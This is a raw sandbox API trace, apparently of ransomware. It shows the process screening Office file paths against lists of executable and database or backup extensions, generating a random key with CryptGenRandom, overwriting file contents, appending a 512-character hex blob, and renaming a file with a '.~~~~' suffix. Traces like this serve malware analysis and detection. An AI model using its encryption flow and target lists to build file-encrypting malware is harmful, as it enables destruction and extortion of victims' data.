	[0142.747] lstrlenW (lpString=".CKP") returned 4
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".CKP") returned 0x0
	[0142.747] lstrlenW (lpString=".edb") returned 4
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".edb") returned 0x0
	[0142.747] lstrlenW (lpString=".PST") returned 4
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".PST") returned 0x0
	[0142.747] lstrlenW (lpString=".dbf") returned 4
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".dbf") returned 0x0
	[0142.747] lstrlenW (lpString=".SQL") returned 4
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".SQL") returned 0x0
	[0142.747] lstrlenW (lpString=".pst") returned 4
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".pst") returned 0x0
	[0142.747] lstrlenW (lpString=".dbv") returned 4
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".dbv") returned 0x0
	[0142.747] lstrlenW (lpString=".SDF") returned 4
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".SDF") returned 0x0
	[0142.747] lstrlenW (lpString=".dtxs") returned 5
	[0142.747] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.747] lstrlenW (lpString=".db3") returned 4
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".db3") returned 0x0
	[0142.748] lstrlenW (lpString=".OST") returned 4
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".OST") returned 0x0
	[0142.748] lstrlenW (lpString=".dbx") returned 4
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".dbx") returned 0x0
	[0142.748] lstrlenW (lpString=".DB3") returned 4
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".DB3") returned 0x0
	[0142.748] lstrlenW (lpString=".DAT") returned 4
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".DAT") returned 0x0
	[0142.748] lstrlenW (lpString=".VHDX") returned 5
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.748] lstrlenW (lpString=".ndf") returned 4
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".ndf") returned 0x0
	[0142.748] lstrlenW (lpString=".DB") returned 3
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".DB") returned 0x0
	[0142.748] lstrlenW (lpString=".sql") returned 4
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".sql") returned 0x0
	[0142.748] lstrlenW (lpString=".MYD") returned 4
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".MYD") returned 0x0
	[0142.748] lstrlenW (lpString=".DBT") returned 4
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".DBT") returned 0x0
	[0142.748] lstrlenW (lpString=".ACCDB") returned 6
	[0142.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.749] lstrlenW (lpString=".fdb") returned 4
	[0142.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".fdb") returned 0x0
	[0142.749] lstrlenW (lpString=".bak") returned 4
	[0142.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".bak") returned 0x0
	[0142.749] lstrlenW (lpString=".myd") returned 4
	[0142.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".myd") returned 0x0
	[0142.749] lstrlenW (lpString=".DTXS") returned 5
	[0142.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.749] lstrlenW (lpString=".ckp") returned 4
	[0142.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".ckp") returned 0x0
	[0142.749] lstrlenW (lpString=".dbt") returned 4
	[0142.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".dbt") returned 0x0
	[0142.749] lstrlenW (lpString=".db") returned 3
	[0142.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".db") returned 0x0
	[0142.749] lstrlenW (lpString=".TXT") returned 4
	[0142.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".TXT") returned 0x0
	[0142.749] lstrlenW (lpString=".MDF") returned 4
	[0142.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".MDF") returned 0x0
	[0142.749] lstrlenW (lpString=".bdb") returned 4
	[0142.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".bdb") returned 0x0
	[0142.749] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.750] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0142.751] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.751] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.751] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26274118567) returned 1
	[0142.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbe7ea190, dwHighDateTime=0x1d60e1e)) 
	[0142.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe6e0
	[0142.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe6e0 | out: hHeap=0x300000) returned 1
	[0142.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9fd8
	[0142.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0142.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9fd8 | out: hHeap=0x300000) returned 1
	[0142.752] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0142.752] GetLastError () returned 0x0
	[0142.752] GetLastError () returned 0x0
	[0142.753] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0142.753] GetLastError () returned 0x0
	[0142.753] GetLastError () returned 0x0
	[0142.753] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x3b6e, lpOverlapped=0x0) returned 1
	[0142.755] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc492, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.755] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x3b6e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x3b6e, lpOverlapped=0x0) returned 1
	[0142.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0142.756] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.756] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.756] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.756] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.756] CloseHandle (hObject=0xc4) returned 1
	[0142.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9fd8
	[0142.756] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR31F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir31f.gif.~~~~")) returned 1
	[0142.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9fd8 | out: hHeap=0x300000) returned 1
	[0142.759] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.759] GetLastError () returned 0x0
	[0142.759] RtlWakeConditionVariable () returned 0x0
	[0142.759] GetCurrentThreadId () returned 0x3a4
	[0142.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".scr") returned 0x0
	[0142.759] lstrlenW (lpString=".cmd") returned 4
	[0142.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".cmd") returned 0x0
	[0142.759] lstrlenW (lpString=".dll") returned 4
	[0142.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".dll") returned 0x0
	[0142.759] lstrlenW (lpString=".bat") returned 4
	[0142.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".bat") returned 0x0
	[0142.760] lstrlenW (lpString=".cpl") returned 4
	[0142.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".cpl") returned 0x0
	[0142.760] lstrlenW (lpString=".sys") returned 4
	[0142.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".sys") returned 0x0
	[0142.760] lstrlenW (lpString=".msc") returned 4
	[0142.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".msc") returned 0x0
	[0142.760] lstrlenW (lpString=".com") returned 4
	[0142.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".com") returned 0x0
	[0142.760] lstrlenW (lpString=".lnk") returned 4
	[0142.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".lnk") returned 0x0
	[0142.760] lstrlenW (lpString=".msp") returned 4
	[0142.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".msp") returned 0x0
	[0142.760] lstrlenW (lpString=".pif") returned 4
	[0142.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".pif") returned 0x0
	[0142.760] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir32f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0142.763] lstrlenW (lpString=".sqb") returned 4
	[0142.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".sqb") returned 0x0
	[0142.763] lstrlenW (lpString=".ost") returned 4
	[0142.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".ost") returned 0x0
	[0142.763] lstrlenW (lpString=".txt") returned 4
	[0142.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".txt") returned 0x0
	[0142.763] lstrlenW (lpString=".mdt") returned 4
	[0142.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".mdt") returned 0x0
	[0142.763] lstrlenW (lpString=".BDB") returned 4
	[0142.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".BDB") returned 0x0
	[0142.764] lstrlenW (lpString=".eql") returned 4
	[0142.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".eql") returned 0x0
	[0142.764] lstrlenW (lpString=".DBF") returned 4
	[0142.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".DBF") returned 0x0
	[0142.764] lstrlenW (lpString=".EQL") returned 4
	[0142.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".EQL") returned 0x0
	[0142.764] lstrlenW (lpString=".FDB") returned 4
	[0142.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".FDB") returned 0x0
	[0142.764] lstrlenW (lpString=".EDB") returned 4
	[0142.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".EDB") returned 0x0
	[0142.764] lstrlenW (lpString=".DACPAC") returned 7
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.765] lstrlenW (lpString=".VHD") returned 4
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".VHD") returned 0x0
	[0142.765] lstrlenW (lpString=".DBV") returned 4
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".DBV") returned 0x0
	[0142.765] lstrlenW (lpString=".dacpac") returned 7
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.765] lstrlenW (lpString=".sdf") returned 4
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".sdf") returned 0x0
	[0142.765] lstrlenW (lpString=".accdb") returned 6
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".accdb") returned 0x0
	[0142.765] lstrlenW (lpString=".DBX") returned 4
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".DBX") returned 0x0
	[0142.765] lstrlenW (lpString=".MDT") returned 4
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".MDT") returned 0x0
	[0142.765] lstrlenW (lpString=".SQB") returned 4
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".SQB") returned 0x0
	[0142.765] lstrlenW (lpString=".vhd") returned 4
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".vhd") returned 0x0
	[0142.765] lstrlenW (lpString=".bac") returned 4
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".bac") returned 0x0
	[0142.765] lstrlenW (lpString=".mdf") returned 4
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".mdf") returned 0x0
	[0142.765] lstrlenW (lpString=".BAK") returned 4
	[0142.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".BAK") returned 0x0
	[0142.766] lstrlenW (lpString=".BAC") returned 4
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".BAC") returned 0x0
	[0142.766] lstrlenW (lpString=".dbs") returned 4
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".dbs") returned 0x0
	[0142.766] lstrlenW (lpString=".vhdx") returned 5
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.766] lstrlenW (lpString=".NDF") returned 4
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".NDF") returned 0x0
	[0142.766] lstrlenW (lpString=".dat") returned 4
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".dat") returned 0x0
	[0142.766] lstrlenW (lpString=".DBS") returned 4
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".DBS") returned 0x0
	[0142.766] lstrlenW (lpString=".CKP") returned 4
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".CKP") returned 0x0
	[0142.766] lstrlenW (lpString=".edb") returned 4
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".edb") returned 0x0
	[0142.766] lstrlenW (lpString=".PST") returned 4
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".PST") returned 0x0
	[0142.766] lstrlenW (lpString=".dbf") returned 4
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".dbf") returned 0x0
	[0142.766] lstrlenW (lpString=".SQL") returned 4
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".SQL") returned 0x0
	[0142.766] lstrlenW (lpString=".pst") returned 4
	[0142.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".pst") returned 0x0
	[0142.766] lstrlenW (lpString=".dbv") returned 4
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".dbv") returned 0x0
	[0142.767] lstrlenW (lpString=".SDF") returned 4
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".SDF") returned 0x0
	[0142.767] lstrlenW (lpString=".dtxs") returned 5
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.767] lstrlenW (lpString=".db3") returned 4
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".db3") returned 0x0
	[0142.767] lstrlenW (lpString=".OST") returned 4
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".OST") returned 0x0
	[0142.767] lstrlenW (lpString=".dbx") returned 4
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".dbx") returned 0x0
	[0142.767] lstrlenW (lpString=".DB3") returned 4
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".DB3") returned 0x0
	[0142.767] lstrlenW (lpString=".DAT") returned 4
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".DAT") returned 0x0
	[0142.767] lstrlenW (lpString=".VHDX") returned 5
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.767] lstrlenW (lpString=".ndf") returned 4
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".ndf") returned 0x0
	[0142.767] lstrlenW (lpString=".DB") returned 3
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".DB") returned 0x0
	[0142.767] lstrlenW (lpString=".sql") returned 4
	[0142.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR32F.GIF", lpSrch=".sql") returned 0x0
	[0142.767] lstrlenW (lpString=".MYD") returned 4
